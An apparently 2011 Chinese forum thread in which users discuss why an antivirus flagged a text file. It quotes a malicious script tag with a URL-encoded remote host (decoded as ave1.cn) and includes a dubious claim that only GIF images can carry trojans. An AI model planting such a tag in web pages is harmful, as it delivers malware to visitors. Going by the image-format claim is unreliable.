这是怎么回事？正常的txt文件啊，上图上样本。正奇铁军来

微微的笑

byxxdrls 发表于 2011-3-1 20:29
回复 8楼 65705960 的帖子

这代码有威胁？

byxxdrls

回复 11楼 65705960 的帖子

不懂JS。只知道文本文件里有这段：

1. 01.如图2所示，就发现存在一段挂马代码：<script src=http://%61%76%65%31%2E%63%6E></script>
   

复制代码

放到浏览器中运行了，真实网址是：

1. http://ave1.cn/

复制代码

微微的笑

byxxdrls 发表于 2011-3-1 20:42
回复 11楼 65705960 的帖子

不懂JS。只知道文本文件里有这段：

我知道真实地址， 问题是这个地址已经失效了 =.=

byxxdrls

回复 13楼 65705960 的帖子

哦，是失效了。也许这个域名本来就没有其它用途，只用来挂马，所以网盾没从黑名单中剔除吧。

摸韩摸德

JS代码，放在TXT文档中，是不会启动的。看上去很危险，其实是无效的。
要放在HTML，或者PHP、ASP、JSP里面，才会启动。
毒霸毕竟不是智能的，看到危险就报了，但没有去鉴定TXT、WORD或者PHP、ASP、JSP。

caixx

js脚本。。。

知微

回复 10楼 byxxdrls 的帖子

这是事例。。。。。。。。。。没危害的东西。。。。。。。。。

byxxdrls

回复 15楼 摸韩摸德 的帖子

呵呵，放到图片文件中呢？

我个人觉得要正确判断确实是比较难的。

摸韩摸德

回复 18楼 byxxdrls 的帖子

是啊，木马可以放在GIF图片中（因为GIF图片，有动画格式），其它图片放不了。
所以，杀毒引擎会特别扫描GIF图片。

要正确判断确实是比较难的。

byxxdrls

回复 19楼 摸韩摸德 的帖子

关于这方面的东西，我是小白。所以我更愿意听一听专业人士的回答。